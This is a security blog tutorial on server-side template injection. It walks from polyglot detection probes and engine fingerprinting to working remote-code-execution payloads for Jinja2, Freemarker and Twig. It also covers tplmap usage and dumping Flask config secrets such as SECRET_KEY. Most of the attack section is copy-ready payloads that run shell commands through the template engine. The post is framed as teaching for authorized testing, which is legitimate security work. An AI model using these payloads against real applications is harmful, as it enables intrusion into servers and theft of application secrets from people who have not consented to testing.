cd ../blog

Server-Side Template Injection: From Curly Braces to RCE

SSTI turns a templating convenience into remote code execution when user input reaches the template engine. We trace the path from detection to sandbox escape.

Server-side template injection happens when user input becomes part of the template source instead of being passed in as data, and because template engines are small languages with reach into the host runtime, that frequently escalates to remote code execution. This is how to detect the engine and ride it to a shell.

Finding it

The root cause is code that concatenates input into the template string, e.g. Template("Hello " + name).render() instead of Template("Hello {{ name }}").render(name=name). You find it by feeding template syntax into every reflected field and watching whether it gets evaluated rather than echoed.

The places to probe:

  • Anything reflected back into a page: names, search terms, error messages.
  • Email/notification templates, custom report builders, "personalization" tokens.
  • Subject lines and PDF generators that interpolate user data.
  • Profile fields that render on a public page.
  • "Preview" features for invoices, contracts, or signatures that merge in user data.

A useful polyglot probe surfaces whichever engine is present in one shot, because it contains markers for several dialects at once:

${{<%[%'"}}%\.

A malformed render, a stack trace naming the template library, or partial evaluation of one of those markers tells you an engine is in play and which family it belongs to.

Proof of concept

The detection probe is a math expression — if it computes, you are inside an engine, not a string formatter. The result tells you which engine:

{{7*7}}    -> 49   Jinja2 / Twig family
${7*7}     -> 49   Freemarker / Spring EL / JSP EL
#{7*7}     -> 49   Ruby/other dollar-hash dialects
{7*7}      -> 7    (not evaluated — likely safe)
*{7*7}     -> 49   Thymeleaf

To disambiguate Jinja2 from Twig, send {{7*'7'}}: Jinja2 returns 7777777 (string repetition), Twig returns 49. That one probe pins the engine and therefore the gadget you reach for.

Once you have confirmed Jinja2, walk the Python object graph from a benign string up to something that runs commands. The canonical enumeration:

{{ ''.__class__.__mro__[1].__subclasses__() }}

That dumps every loaded subclass; scan the list for subprocess.Popen and note its index. Then invoke it to execute a command:

{{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id', shell=True, stdout=-1).communicate() }}

A cleaner, version-stable Jinja2 payload uses the config object and os:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Submit it in the vulnerable field and read uid=... straight out of the rendered response — that output is your RCE proof.

For Freemarker (${...}), the public one-liner is:

${"freemarker.template.utility.Execute"?new()("id")}

For Twig, escalate via the filter registry:

{{['id']|filter('system')}}

Going further

Tooling speeds the whole loop: tplmap -u 'https://app.example.com/?name=*' auto-detects the engine and offers a shell, and SSTImap covers the modern engines. But the manual {{7*7}} -> fingerprint -> gadget path is what teaches you to confirm a finding by hand.

Even when a sandbox blocks full command execution, the evaluation primitive rarely ends harmlessly — prove residual impact by reading config or secrets out of the template context ({{ config.items() }} in Flask dumps the app config, often including SECRET_KEY), enumerating local files, or reaching internal URLs through helper functions. Sandboxes that leave attribute access open are routinely escaped, so demonstrate the strongest primitive you can reach. Capture the exact field, the fingerprint probe and its output, and one piece of executed-command output. Keep testing on authorized targets only.